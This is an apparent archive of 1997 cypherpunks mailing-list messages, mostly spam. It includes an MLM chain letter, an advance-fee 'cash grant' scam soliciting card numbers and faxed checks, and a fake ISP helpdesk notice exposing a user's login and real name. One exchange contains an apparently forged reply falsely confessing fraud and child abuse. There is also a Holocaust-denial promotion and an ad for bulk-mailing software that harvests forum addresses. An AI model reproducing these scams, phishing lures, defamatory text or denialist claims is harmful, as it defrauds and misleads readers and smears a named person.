Think about it, you can play more golf for less money , take it off of your income taxes, purchase brand name equipment at rep prices, and make money  while having fun on the course.   This is a serious venture and many of us are making thousands of dollars a month and you can to if you are willing to play more golf and plug into our very simple training system.  Whether part or full-time, if you  feel  you  have  a  legitimate  interest  in  making money with your passion for golf please <B>call 1-904-634-8057</B> for a two minute recorded overview then leave your name, state,  and both work and home phone numbers.  We  will  be  glad  to  rush  you a free comprehensive information package.  Please, serious inquiries only. I apologize for any inconvenience and hope to hear from you soon. Thank you for your time.  


Best regards,


Wally Ludviksson


<I>PS: Call 1-904-634-8057 now for  the  two minute overview and to receive your free comprehensive information package.  </I>









</PRE></HTML>
pÁ@big.o




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dfrntdrums@aol.com
Date: Fri, 24 Oct 1997 12:21:29 -0700 (PDT)
To: Friend@public.com
Subject: Loose Weight Now
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Learn how to trim the dead fat...
Ask me how...
dfrntdrums@aol.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: martian@rt66.com
Date: Mon, 20 Oct 1997 11:38:45 -0700 (PDT)
To: Friend@public.com
Subject: Save Water... ask me how!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Ask me how to save water.
http://www.rt66.com/martian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "MicroServe's HELPDESK" <helpdesk@admin.microserve.net>
Date: Mon, 20 Oct 1997 10:54:05 -0700 (PDT)
Subject: your MIS email address (cosmos) may be deleted if you do not respond
Message-ID: <199710201754.NAA22343@mail.microserve.net>
MIME-Version: 1.0
Content-Type: text/plain



Dear MicroServe Subscriber,

The MIS accounting department is in the process of upgrading it's 
software.  Unfortunately, they found some information missing from your
account.  So, we're going to need your help.

Please go to the following URL (web address) with your WWW browser
(Netscape, Internet Explorer, etc) and follow the online instructions.
You should not have to anything except click CONTINUE once you arrive at
the page.

   WEB URL: http://2009263:cosmos@mismail.microserve.net:235/

ACCOUNT ID: 2009263
   MAILBOX: cosmos

Login name: cosmos    			In real life: Daniel Leeds
Directory: /usr5/accts/c/cosmos     	Shell: /usr/bin/ksh
Last login Fri Jun 20 12:46 on pts001 from unknown-2-66.ra
New mail received Wed Oct 15 17:05:23 1997;
  unread since Thu Oct 16 19:27:50 1997


PLEASE NOTE: This must be done from YOUR ppp (dial-up) account.  The
system will not work if you try to do this from a friend's (or any
other) dial-up account.

UNIX Shell customers should call (717)821-5964 extension 3 to speak with
a technical support representative.

Any account which still has info missing as of November 1, 1997 will be
suspended (and will be deleted on November 8, 1997), as we will have to 
assume that the email box belongs to no one.

If you have any questions, please email helpdesk@microserve.net.

Thank You,
MicroServe Engineering Department

------------------------------------------------------------------------
MicroServe Information Systems          100 North Wilkes Barre Blvd
                                        Wilkes-Barre, PA  18702




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pnwood@earth.we-deliver.net
Date: Sun, 26 Oct 1997 04:15:41 -0800 (PST)
To: Discount@NewspaperAds.comnet
Subject: DISCOUNT ADVERTISING SOURCES! $1 PER PAPER!
Message-ID: <199710210726.CAA15921@earth.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


UTILIZE THIS VALUABLE INFORMATION AND IT WILL PAY FOR 
ITSELF MANY TIMES OVER!

***Nationwide Newspapers V2.0 TM***

Powerful New Reference Software

-  The First of its Kind, Classified Advertising Tool!

-  Electronic Directory of over 3,600 newspapers!

-  Sources for Over 6,000 newspapers!

-  Daily, Weekly, Shoppers, Community Papers and More!

-  Find Hard to Reach People to Respond to Your Offer!

-  Advertise by City, State, Regionally, or Nationwide!

-  Statewide and Network Advertising, Including Pricing!

-  Discount Advertising Less Than $1 Per Paper!

-  Powerful Tool for Building Huge Downlines!

-  Save Time and Money with Network Advertising, 1 Call, 
   1 Payment & you're in 100's of Papers with Millions 
   of Readers, at a Big Discount Over Individual Rates!

SPECIAL FEATURE-  Built in Sort Tool Enables Sorts by 
State, City, Circulation, Phone Number & More!

PROOF IS IN THE RESULTS!- Here's just a few:

"This program is fantastic. It allows you to target your
audience specifically or sweep whole states and regions 
of the US. I have had tremendous success with this product 
and would recommend it to anyone who advertises. It saves
time and money. What could be better!"   
  
         	--Winston James, Phoenix AZ

"I never believed in those success stories...never believed 
I would be one of them...using your program, in just one 
month, I took in over $7,000. This program provides cost 
effective time saving advertising sources that generate 
sales and leads. I recommend it to anyone in business."   
                                
          	--Ryan Tedeschi, Newport Beach CA


SPECIAL BONUS- Wholesale Rights! Act now and we will include 
information on how you could purchase this software at low 
wholesale prices. You can then market this powerful product 
any way you wish and earn big profits!


ABOUT OUR COMPANY:

We're a privately held corporation that specializes in 
Information Publishing, Marketing, Software Design, and 
creative tools for the Entrepreneur of the 90's. We have no 
doubt that this information can and will be a valuable asset 
to your business. It's the perfect product, at the perfect 
time, at the perfect price. We've seen similar information 
costing 100's of dollars.  Companies charge these high fees 
because they know that people who understand the value of the 
information will easily pay for it. Our products are more 
advanced and we make them affordable. They say that information 
is power, well we look forward to supplying you with all the 
power you need for years to come!

PRICE: We are currently charging $49. This is only a test price 
and will soon be lifted.

TO ORDER:Click on this direct link and follow 
ordering instructions.

http://www.primemarket.com/natnews1.html


$ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $
		    
WE VALUE YOUR BUSINESS

VISIT OUR WEBSITE AT

http://www.primemarket.com

FOR MONEY MAKING BUSINESS TOOLS 
THAT YOU CAN USE OR SELL.

NEW ITEMS BEING ADDED OFTEN

$ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $


*To be removed simply hit reply and send.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MIS Security <security@microserve.net>
Date: Wed, 22 Oct 1997 15:23:08 -0700 (PDT)
To: Daniel Leeds <cosmos@microserve.net>
Subject: No Subject
Message-ID: <Pine.UW2.3.95.971022182310.25204j-100000@reality>
MIME-Version: 1.0
Content-Type: text/plain


Dan,

You have a .forward file here at mis that points to toad.com.  Do you have
a .forward there?  I received several compalints from people who are
getting your mail at cosmos@microserve.net.

-Jeremy

~----------------------------------------------------------------------------
Abuse & Security Department              MicroServe Information Systems, Inc.
security@admin.microserve.net                100 North Wilkes-Barre Boulevard
abuse@admin.microserve.net                   Wilkes-Barre, Pennsylvania 18702
http://www.naISPa.org                       (717)821-5964   FAX (717)821-5968
-----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MIS Security <security@microserve.net>
Date: Wed, 22 Oct 1997 16:18:20 -0700 (PDT)
To: Daniel Leeds <cosmos@microserve.net>
Subject: Re: Complaints
In-Reply-To: <344E8863.7B5@microserve.net>
Message-ID: <Pine.UW2.3.95.971022191812.25204z-100000@reality>
MIME-Version: 1.0
Content-Type: text/plain


Dan,

If this was my personal box and we were bullshitting, that would be funny.
On the other hand, I have to address this matter.  Do you have a .forward
file in your other box?  How else are they getting your mail?

-Jeremy


On Wed, 22 Oct 1997, Daniel Leeds wrote:

> MIS Security wrote:
> > Dan,
> > You have a .forward file here at mis that points to toad.com.  Do you have
> > a .forward there?  I received several compalints from people who are
> > getting your mail at cosmos@microserve.net.
>  
> Jeremy,
>   Don't pay any attention to the complaints. They are probably just
> from people I have defrauded in business dealings, or parents who
> object to the sexual liberties I have taken with their children.
>   Just tell those whiners to go fuck themselves.
> 
> Dan
> ~----------------------------------------------------------------------------
> Abuse & Security Department              MicroServe Information Systems,
> Inc.
> security@admin.microserve.net                100 North Wilkes-Barre
> Boulevard
> abuse@admin.microserve.net                   Wilkes-Barre, Pennsylvania
> 18702
> http://www.naISPa.org                       (717)821-5964   FAX
> (717)821-5968
> -----------------------------------------------------------------------------
> 
> 


~----------------------------------------------------------------------------
Abuse & Security Department              MicroServe Information Systems, Inc.
security@admin.microserve.net                100 North Wilkes-Barre Boulevard
abuse@admin.microserve.net                   Wilkes-Barre, Pennsylvania 18702
http://www.naISPa.org                       (717)821-5964   FAX (717)821-5968
-----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 82GuyWire@live.net
Date: Wed, 22 Oct 1997 21:25:33 -0700 (PDT)
To: GreatMen@Male.Box
Subject: Great new GAY Phone Services...can be Absolutely FREE
Message-ID: <0000000000.AAA000@live.net>
MIME-Version: 1.0
Content-Type: text/plain


                                            THE MALEBOX 

THE MALEBOX is an awesome new  GAY live voice phone system..{currently absolutely FREE with Sprint's Free Monday} !
                   
Otherwise, only REGULAR U.S. phone charges apply (NY free)...the computer is in New York with a normal phone number. 
There are no setup costs and NO FEES...call from anywhere anytime  (use your own best rate...Dime Deal...MCI 5ct Sunday,etc).  Why be shy?

Call THE MALEBOX at  # 315-233-1693 and press 7 for the LOBBY,  then press...

     #1...LIVE ROOMS > chat for up to 8 people per room; a great way to meet and  (press 7 to skip to next room)
                                       Gay Guys seem to prefer the virtual chat aspect found on One-on-One

     #2...BULLETIN BOARD > post messages or ads, or listen

     #3...ONE-ON-ONE > private talk; good place to meet and chat without giving your
                                          home phone number...check out NEW INSTANT VIRTUAL CHAT !!

     #4...PERSONALS > super place to meet your dream mate

     #5...VOICEMAIL > get your own private mailbox or leave a message.
                                  
     #9....DIRECTORY > other special numbers and services

     #0...to return to the LOBBY


The system is very simple, just follow the easy directions or use the menu above...try it you'll like it!

Please SAVE THIS MESSAGE for the future.

Call THE MALEBOX at   #  315-233-1693...if busy just try again

press 7 to slip in to the LOBBY ......


( for straight folk try a similar system at THE HOTEL CALIFORNIA at 315-233-1690 ) 
( from the U.K. try 268-404-7489 ) 

for FREE TAROT READINGS try  # 1-268-404-4772






















































              
































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mktg@inet.com
Date: Thu, 23 Oct 1997 02:10:14 -0700 (PDT)
To: everyone@your.net
Subject: We Do All The Work And You Collect All The Cash
Message-ID: <7738339201724@inet.com>
MIME-Version: 1.0
Content-Type: text/plain


If you're NOT currently looking for an income opportunity, then just 
delete this message.

If you ARE looking for an income opportunity, then...

WELCOME TO THE HOTTEST CASH GENERATING PROGRAM ON THE INTERNET!

I'm sure that this is not the first opportunity that you have 
ever run across that claims that you can make a lot of cash, 
very quickly. But, this just might be the only program you'll 
ever run across, that can actually make that happen.

Every other cash generating program that you've ever run across
was probably doomed from the start, for 3 simple reasons.
	
	1) You needed to dedicate a lot more time and effort into 
	   the marketing of your program, than you originally planned.
	2) You needed to invest a lot more money into the marketing of 
           your program, than you originally expected.
	3) Your success depended solely on you. And, unless you're 
	   a marketing expert, your expected level of success just 
	   wasn't going to be achieved.  

Well, that's where our expertise comes in. We here at Internet Marketing 
Services, have been asked to develop an effective marketing system that 
would require virtually no effort and very little capital. 
 
We are proud to tell you, that our experience in this industry has 
enabled us to create a very low cost, high response, marketing program, 
that blows away traditional methods of network marketing and advertising.

The secret to becoming successful in any business is to get your message 
to as many people as possible, in a cost effective manner. Through our 
creative advertising program were able to greatly reduce our costs and 
we are simply passing the savings on to you. 

IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS!

By compounding our efforts and combining your advertising along with 
other income opportunity seekers wanting to participate in this highly
profitable program, Internet Marketing Services is now able to offer you 
the best Internet marketing rates available anywhere.

HERE'S HOW IT WORKS. Multi-level marketing is still used by some of the 
largest companies in the world today; Amway, Excel and Avon, just to name
a few. This highly effective, multi-level business provides you the same 
type of opportunity. A business that offers a proven cash generating 
program, complete with a low cost internet marketing service. THIS IS 
THE SECRET TO YOUR SUCCESS! 

If a new customer decides to participate in your program, they simply 
send you a $5.00 commission. And the best part is, we do all the hard 
work for you, you just collect your cash. 

As with all multi-level businesses, your income is generated by recruiting 
new customers that have the same interest as you. The desire to create a 
large cash income. And, every state in the USA allows us to legally 
recruit for you, via the Internet.

For an extremely low fee of only $35.00, we will market this highly
profitable opportunity to 750,000 people with your name and address 
inserted into the mailing. Then you just go to your mailbox and collect 
your cash. That's all there is to it.

HERE'S HOW YOUR ADVERTISING DOLLARS COMPOUND. In each mailing your 
name will be included with 2 other distributors. We will then advertise 
your opportunity to 250,000 people, in 3 seperate mailings. So your 
opportunity will be offered to 750,000 different people. 

EXAMPLE:

Mailing #1:       250,000 People
Mailing #2:       250,000 People
Mailing #3:       250,000 People
FOR A TOTAL OF:   750,000 People

NOW, LET'S COMPARE COSTS. If you were to send your offer through the 
postal service, it would cost you $240,000.00, in postage alone.

The typical e-mail company charges 1-2 dollars per 1000 addresses 
mailed to. That would be a minimum of $750.00. 

Other methods could be even more expensive than using the postal service.

As you now can see, by compounding your advertising dollars with other
income opportunity seekers, it allows us to offer you a cost effective
way to cash in on a proven income generating program. And remember, we
do all the work for you. You just go to the mailbox and collect your cash.

THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you 
to come into contact with people, do any hard work, and best of all  
you never have to leave the house except to get the mail. This 
multi-level, e-mail order, marketing program works perfectly, every time. 
E-mail is the ultimate sales tool of the future, and the future is now!

If you ever wanted "THE EASY WAY" to make a lot of money...
just follow these 3 easy steps using this sure fire system!

STEP 1: Send $5.00 in cash to each of the 3 distributors below. Just like 
new customers will be sending to you, once your name has been placed onto 
the mailing. Also, include a seperate sheet of paper with your name as it
is to appear on this mailing, along with the words, " I WOULD LIKE TO 
SUBSCRIBE TO YOUR INCOME OPPORTUNITY NETWORKING SERVICE." 
Once the 3 distributors receive your $5.00 payment, they will each e-mail
us your name, verifying that you have paid them their commission. This 
service also eliminates the possibility of anyone replacing any existing 
names on the mailing.

#1:            
Venture Inds.                    
2308 E. Broadmor     
Tempe,AZ 85282          

#2:
P.S.B.Wayne
PO Box 572772
Tarzana,CA 91357-2772

#3:
Classic Communications
1912 California St.
Berkeley,CA 94703

STEP 2: Send $35.00, along with your name and address as you want it to 
appear on this mailing. (You can use your full name, your initials, a 
business name or what ever you prefer) Once we receive your payment and 
verification via e-mail that you paid each distributor their commission; 
we will automatically position your name and address through all 3 
mailings until this offer has been e-mailed to 750,000 people. 

Be sure to include your e-mail address. Once we receive your payment, we 
will e-mail you our priority e-mail address. This is how you will notify us
that you received your payment from customers that want to paticipate in 
your program. This is a fool-proof system that eliminates anyone from 
using your service without paying you your $5.00 commission.
 
You can use this program as many times, and as often as you like. 
By doing this, it is possilbe to create a perpetual cash income.
And yes, we accept personal checks.

Make check payable to and send to:

Internet Marketing Sevices
Dept-L23
2375 E.Tropicana #135
Las Vegas, NV 89119
 		 
Please note, Internet Marketing Services does not participate in your 
offer, nor do we share in your income in any way. Internet Marketing 
Services is a low cost, internet marketing provider only.

STEP 3: Go to your mailbox daily and collect your cash.

MAKING MONEY JUST DOESN'T GET ANY EASIER THAN THIS!

By now your probably asking yourself, "how much money can I really make?"

Below are the results of an Internet survey conducted by www.survey.net:

50% of the people on the Internet have made purchases, 40% have made 
several purchases, 80% like the idea of shopping on the Internet, 50% 
of those purchases are computer information related, 50% think of e-mail 
as their second most important application, 20% have made purchases 
because "I came across it and I liked it, so i bought it."

POSSIBLE EARNINGS PER 750,000 E-MAILS

2%      Response @ 15,000 X $5.00 = $75,000
1%      Response @  7,500 X $5.00 = $37,500
1/2%    Response @  3,750 X $5.00 = $18,750
1/4%    Response @  1,875 X $5.00 = $ 9,375

HOW MANY RESPONSES DO YOU THINK YOU WILL RECEIVE?

As more and more people look for ways to create wealth and financial
security, the need for a successful income opportunity is constantly in 
demand.

This higly effective marketing program has only recently been made 
available. There are millions and millions of people who haven't yet 
received this offer.

THIS IS STILL VERY MUCH A GROUNDFLOOR OPPORTUNITY!

BUT IT WON'T BE FOR LONG!

If your fed up with the high cost of marketing and advertising then why 
not take advantage of this powerful opportunity and start creating wealth 
for you and your family.

We hope that you are one of those unique individuals that does more than
just dream about creating wealth and has the foresight to see what an 
incredible money making opportunity that this really is, requiring no
effort and a very small investment. 

JUST IMAGINE WHAT YOU AND YOUR FAMILY CAN DO WITH ALL THAT CASH!

FREE WEBSITE:

Would you like to create your own website for business or personal use?

Just go to www.freeyellow.com and follow the prompts.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 71073979@cyberbundle.net
Date: Thu, 23 Oct 1997 06:40:32 -0700 (PDT)
To: admin@cyberbundle.net
Subject: Free Cash Grants...
Message-ID: <www.cyberbundle.net>
MIME-Version: 1.0
Content-Type: text/plain


To be removed from this mailing list e-mail remove@cyberbundle.net
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

We Have Over 150 Private Foundations In Our Program
All Over the United States...

WE ARE A FINANCIAL FINDER & MATCHING SERVICE
.."INTEREST - FREE CASH GRANTS!! - NEVER PAY BACK!!!"...


FOUNDATIONS CAN BE A BETTER SOURCE FOR FINANCE, THAN BANKS!
___________________________________________________________
Foundations give away billions of dollars every year to individuals. 
Most are non-profit organizations dedicated to the betterment of
society.  A foundation is excempt  from income tax because it's
non-profit status.  Private foundations have been giving out
cash-grants to people for over 100 years.  You can check with your
attorney or local chamber of commerce.

ARE YOU BEING REJECTED FOR THE MONEY YOU NEED SO BADLY?
_________________________________________________________
Then Why Not Try A Private Foundation? Interest Free Cash Grants From
$500.00 & Up to $50,000.00. No Collateral.  No Cosigners, No Security
Deposit, No Mortgages. No Credit Check.  No Pay Back.

ANYONE CAN GET AN INTEREST FREE CASH GRANT!
____________________________________________
As long as they have a genuine reason for needing money, & as long as
the foundation guidelines are met.

Dear Applicant,

This letter tells you HOW YOU CAN GET AN INTEREST-FREE CASH GRANT. 
Take a few minutes to read it. You'll be suprised  to see how easy it
is to get a Cash-Grant, by mail. From time to time, everyone needs to
borrow.  The problem is that for most people making a loan is a big
hassle. Going to banks or finance companies in person takes a lot of
time.  In most cases, thereis endless paperwork.  And Unfortunately,
in many cases all that you end up with is a rejection notice.


ABSOLUTELY NO CREDIT CHECK
________________________
People are getting CASH GRANTS BY MAIL, that are Interest -Free & do
not have to be paid back, in any way.  Getting a Grant by mail is
probably a lot easier than you think.  In your area, there are usually
only a small number of places that will provide you with the money,
that you need.  On the other hand, there are literally hundreds of
private foundations who are anxious to donate money by mail, to people
who have genuine reasons for needing the money.  While it is not
possible for anyone to guarantee that you will receive a CASH GRANT BY
MAIL, the fact is that right now, someone just like you is getting
your grant.

Chances are that most banks in your area have very stringent loan
requirements.  On the other hand, most foundations who give GRANTS BY
MAIL are much more lenient.  Persons who have poor credit, no credit
or even those who have gone through bankruptcy  are able to get the
money that they need BY MAIL sent to them by check payable to them,
because foundations are NOT interested in CREDIT RATINGS.

GETTING A GRANT BY MAIL IS CONFIDENTIAL
____________________________________
There are no embarrassing interviews.  Neither collateral nor
cosigners are required.  The main requirement is that you have a
legitimate need for the money and are willing to use it for whatever
reason that the foundation agrees to.  Everything is handled by mail.

We are not associated with any of the foundations in our program,
therefore all money will go directly to you, payable to you.  As a
Financial Finder & Matching Service, we know where the money is and
which private foundations may be most likely to approver your grant. 
There are actually hundreds of foundations with money that they are
anxious to donate.  It is our job to put you in touch with them.

PLEASE REMEMBER: CASH-GRANTS are FREE of any interest, 
& they DO NOT NEED TO BE PAID BACK!
________________________________________________
Foundations give out money for a wide variety of needs as long as it
is something LEGAL & this means that you obtain the money to pay off
old bills, go on vacation, meet emergency needs or to buy anything
that you might need, as long as the foundation agrees to it. 
Everything is handled by mail.


YOU DECIDE HOW MUCH MONEY YOU WANT TO OBTAIN.  
________________________________________________
The amount can be as little as $500.00 and up to $50,000.00, possible.
 And remember, there is NO CREDIT CHECK.

Interest-Free Cash Grants are ideal for people who have bad credit or
bankruptcy.  If you had trouble in the past dealing with banks, then
these private foundations, are a better source for finances, because
they don't care about bad credit or bankruptcies.  (Foundations do not
do a  credit check on a client..)

As a Financial Finder & Matching Service, we'll review your service
application form and determine which foundations may be most likely to
provide you with the money that you need.  Keep in mind that we have
only reputable foundations in our program.  You are protected by the
fact that these foundations are regulated by the laws of the United
States.

No matter how much you want to obtain, no matter what you want to use
the money for-we feel confident that we can help you to get it!  With
the service we are offering you.

WE GUARANTEE THAT UNLESS WE HELP YOU WITH OUR SERVICE, TO GET THE
MONEY THAT YOU NEED, OUR APPLICATION FEE OF $19.95 WILL BE REFUNDED!
____________________________________________________________________
Our Application fee is $19.95 for personal & Business Grants.  There
are absolutely no other fees to pay.  All that you will have to do is
complete the service application form, below, and mail it with payment
with as indicated on the form.  We will process your service
application within 10-12 days. We will match your FINANCIAL NEEDS &
REQUIREMENTS  with the most suitable Private Foundations, in our
program.

100% FULL MONEY BACK GUARANTEE, OF APPLICATION FEE, AT ANY TIME.
______________________________________________________________________

Remember-unless your grant is approved, your application fee of
$19.95 will be refunded in full, promptly.  The sooner you apply the
sooner you're likely to have the money you need!   Mail the
APPLICATION TODAY!  

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
APLLY WITHIN 5 Days & GET 70 FREE MONEY MAKING 
REPORTS WITH RESELL AND RE-PRINT RIGHTS. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Service Application Form

Please Find:

(circle one)

Money Order         Check          Credit Card 
                                                  
(Circle One: VISA, M/C, AMEX, Discover)

Credit card # ________________________________________

Expiration Date____________________

Signature_________________________________________

Guaranteed Fee $19.95.  
I need you to RUSH processing. Please add $10.00 

Total  $________

______ I have applied within 5 Days.  Please Include the 
             70  MONEY MAKING REPORTS W/ RE-PRINT RIGHTS.

TO EXPEDITE, FAX TO 540-723-8699  We also accept checks by fax! 
Simply tape your checks on the bottom and fax!! It's that easy!!

(For check payments, tape check to the bottom and fax)

PLEASE MAKE CHECKS PAYABLE TO:  McConville Enterprises, LLC

or MAIL TO:

McConville Enterprises, LLC
Creators of...
"Internet Business In A Bundle" (tm)
117 W. Boscawen Street
Suite # 203
Winchester, Virginia 22601
(540) 723-8699 Fax

Checks Take 5 Days to clear at the bank.  
Please Print Clearly For Our Office Staff 


** Please write very clearly**

Grant Purpose:____________________________________________________

Amount Needed $___________.00          Yearly Income $___________.00

Name_____________________________     Occupation __________________

Address___________________ City ___________ State _____Zip __________


Signature______________________________  Phone #(___)____  -________

E-Mail Address (very important)____________________________

Please match my financial needs & requirements with the most suitable
private foundations in your program.  I understand that the fee I
enclosed will be refunded if I don't receive my grant.

The Entirety of this  Material and all Packages are Protected by 
Copyright Law. Copyright October 1996-97 By  McConville Enterprises, LLC .  
All Rights Reserved. 



































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newsglob@tnlb.com
Date: Thu, 23 Oct 1997 14:56:59 -0700 (PDT)
To: newsglob@tnlb.com
Subject: Very important ! global minutes?
Message-ID: <199710232155.OAA02732@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     MAKE SURE YOU ARE GETTING ALL THE MINUTES BEING
                       GENERATED TO YOUR NUMBERS
                           NOT JUST U.S. TRAFFIC!!   

 CHAT LINES FOR YOUR SITE OR ADVERTISE IN NEWSPRINT

Best customer service for your audiotext advertising needs.
Fill out the form here:   http://www.stsim.com/info/
 Don't just stick with one service bureau ! you might not be getting 
 paid for all your global minutes ,most service bureaus are paying
you just for your U.S. traffic and keeping the rest this is how 
service providers make the most of their profit.

                  

PAYOUTS ARE ON THE 1st  AND ON THE 15th OF  EVERY MONTH.....

NUMBERS MUST BE DISPLAYED ON YOUR FRONT PAGE FOR BEST
RESULTS!!!!

YOUR ACCOUNT WILL BE SETUP WITHIN HOURS !!!


      Top rates for 011- 592 / 1- 664 / 1- 809 / the international
      pay-per-call industry is bringing in millions upon millions each
      year.   Get in on the the 1+ dialing prefixes and watch your
     revenue increase.   Advertise by mass emailing, tv, web site,
     newsprint, magazine in any country!!!!  You the advertiser will
     get a flat rate paid to you for every minute generated on your
     line(s).  Your ad could look something like this.

           --------------------------------------------------------------------------------------------------------------
           The internet's all new interactive date line talk to people live
           or just listen in call now!  1-664-410-3348  Regular Long Distance Only.
          ---------------------------------------------------------------------------------------------------------------
          Talk to Hot Ladies Now!  1-644-410-3349.
          ---------------------------------------------------------------------------------------------------------------
          People looking to meet people call now  1-664-410-3350.
          ---------------------------------------------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cary@t-1net.com
Date: Sat, 1 Nov 1997 01:11:22 -0800 (PST)
To: cary@t-1net.com
Subject: Did It Really Happen?                                        Did The Holocaust Really Happen?
Message-ID: <199710240546.AAA29858@ryan.t-1net.com>
MIME-Version: 1.0
Content-Type: text/plain


        Not according to the Jews in Kurt Saxon's documentary "The Bogyansky Mystery".
        
        You can read it at:

                                   http://www.kurtsaxon.com/index-jb.html

///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If you do not
wish to receive any future e-mail from us, simply do nothing. Your e-mail address has been
stored and will never be used again unless you ask to be placed on one of our return mailing lists.
And you can only do this by going to Kurt Saxon's Home Page and opening the Atlan Formularies
 Spamming Protocols link and following the directions therein.
////////////////////////////////////////////////////////////////////////////////




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kiqe11@zeta.org.au
Date: Fri, 24 Oct 1997 02:23:03 -0700 (PDT)
To: kiqe11@zeta.org.au
Subject: ***BULK EMAIL FOR PROFIT***
Message-ID: <199710244079JAA40429@post.sa.omnes.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

******************************************************
        
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, as many as 50,000  Of Messages An Hour

******************************************************

	45,000,000+ EMAIL ADDRESSES

                      ******** $100.00 *******

******************************************************

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 2.018
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY if you want!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

